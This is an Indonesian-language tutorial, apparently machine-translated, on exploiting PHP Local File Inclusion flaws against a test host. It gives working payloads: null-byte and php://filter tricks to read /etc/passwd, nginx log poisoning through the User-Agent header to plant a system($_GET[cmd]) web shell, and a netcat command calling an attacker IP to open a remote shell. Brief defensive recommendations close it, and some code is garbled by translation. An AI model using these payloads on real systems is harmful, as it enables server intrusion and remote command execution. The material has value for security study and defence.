Local File Inclusion (LFI) adalah kemampuan untuk menggunakan file server lokal. Kerentanan memungkinkan pengguna jarak jauh untuk mengakses file sewenang-wenang di server menggunakan permintaan yang dibuat secara khusus, termasuk kemungkinan berisi informasi rahasia. Hari ini kami akan memberi tahu Anda bagaimana penyerang yang menggunakan cacat ini dapat menjalankan perintah di server jarak jauh.
Kerentanan serupa terjadi ketika fungsi yang tidak aman digunakan saat mengimplementasikan aplikasi web, misalnya, include , yang memungkinkan Anda memasukkan konten ke dalam halaman dari file lokal. Dalam kasus kami, ini terlihat seperti ini:
Berkat baris include ("$ file") , nilai file parameter GET akan disertakan dalam konten halaman . Sekarang, menggunakan kerentanan ini, kami akan mengembalikan file lokal yang kami tentukan di parameter.
Artikel ini hanya untuk tujuan informasi. Jangan melanggar hukum.
Deteksi kerentanan
Bagaimana menemukan kerentanan? Jika Anda menentukan dalam parameter yang berpotensi rentan penyertaan file lokal, misalnya, indeks dengan ekstensi apa pun, dan file ini akan terbuka, maka kami pasti dapat mengatakan bahwa parameter bertanggung jawab untuk menukar file. Ini dapat dilakukan baik secara manual atau menggunakan berbagai alat otomatis, misalnya, pemindai kerentanan Wapiti , yang disebutkan dalam salah satu artikel kami , atau alat khusus LFISuite , yang dirancang khusus untuk mencari dan mengeksploitasi kerentanan LFI.
Kesulitan apa yang mungkin ada? Misalnya, adanya filtering yang akan menggantikan ekstensi file di akhir baris, misalnya .php . Jadi, ketika kami mencoba untuk memasukkan file / etc / passwd ke dalam halaman, kami akan menerima file = / etc / passwd.php di bilah alamat , dan konten file ini tidak akan ditampilkan di halaman, karena file tersebut tidak ada. Tetapi filter seperti itu dapat dilewati menggunakan apa yang disebut byte nol, yang akan "memotong" semua yang muncul setelahnya. Faktanya adalah bahwa seluruh bilah alamat saat mengirimkan permintaan HTTP dikodekan dalam pengkodean-URL, dan dalam pengkodean ini byte nol terlihat seperti % 00 . Jadi, baris /etc/passwd%00.phpakan diubah menjadi / etc / passwd . Namun, perlu dicatat bahwa masalah ini cukup terkenal dan telah diperbaiki di PHP 5.3+.
Cara lain untuk melewati penyaringan adalah dengan menggunakan filter php . Dalam parameter yang bertanggung jawab untuk menyertakan file, kami menulis tidak hanya jalur ke file yang ingin kami sertakan, tetapi jalur ke file menggunakan fungsi ini. Sekarang permintaan yang akan kami kirimkan terlihat seperti ini:
http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
Dan sekarang di halaman browser kita tidak akan melihat konten file, tetapi sumbernya yang dikodekan dalam base64 , yang dapat diterjemahkan: Kami telah
menemukan poin utama dari kerentanan LFI, dan sekarang kami memahami bahwa selama eksploitasinya dimungkinkan untuk membaca file lokal di server jarak jauh. Tetapi LFI memiliki fitur menarik yang memungkinkan Anda tidak hanya membaca file lokal, tetapi juga mengganggu server.
Meracuni log server web
Saya rasa perlu segera disebutkan bahwa kerentanan ini bukanlah hal baru, namun kerentanan ini masih ditemukan dan dapat menimbulkan ancaman serius bagi keamanan server web. Saat berinteraksi dengan aplikasi web, setiap permintaan kami dicatat di log server web, sebagai aturan, ini adalah file /var/log/nginx/access.log atau /var/log/nginx/error.log jika, misalnya, server web digunakan Nginx , tetapi nama file terakhir, tentu saja, mungkin berbeda.
Sekarang, dengan membuat permintaan khusus, kita akan membuat shell web di server, menuliskannya ke access.log . Untuk melakukannya, ubah header User-Agent dengan menambahkannya <? sistem php ($ _ DAPATKAN [cmd]); ?> . Untuk mengirim permintaan, kami akan menggunakan alat Burp Suite , yang memungkinkan Anda untuk mencegat dan mengedit permintaan secara real time. Mengapa Agen-Pengguna digunakan ? Seperti yang disebutkan sebelumnya, bilah alamat menyandikan informasi menggunakan penyandian URL, oleh karena itu, untuk mentransfer kode-ph, Anda perlu menggunakan tajuk, dan karena Agen-Pengguna persis tertulis di access.log , kami akan menggunakannya. Shell web ditulis dan siap digunakan: Saat mengakses log aplikasi web menggunakan kerentanan LFI, isinya akan terbaca, dan skrip <? Php system ($ _ GET [cmd]); ?>
- jalankan, yang akan memungkinkan penggunaan variabel " cmd " untuk menjalankan perintah di server:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
Tidak seperti LFI, di mana untuk membaca konten file, Anda harus menentukan path lengkapnya, dalam kasus kedua, perintah arbitrer dijalankan di server. Artinya selain membaca file server, kita bisa mengaksesnya. Untuk melakukan ini, kami menetapkan dalam parameter cmd perintah untuk meluncurkan Netcat untuk berkomunikasi dengan server penyerang, yaitu dengan kami:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
Rekomendasi
- secara teratur memeriksa keamanan aplikasi web untuk mencegah kerentanan;
- tambahkan baris <? php exit (1) ke log server web ; ?> . Skrip ini akan mencegah segala upaya untuk mengeksekusi kode php dalam file ini (bukan ide yang baik, tetapi berhasil, setidaknya sampai rsyslog membuat ulang file log);
- gunakan WAF, yang akan memblokir permintaan jahat, mencegahnya agar tidak dijalankan di server web.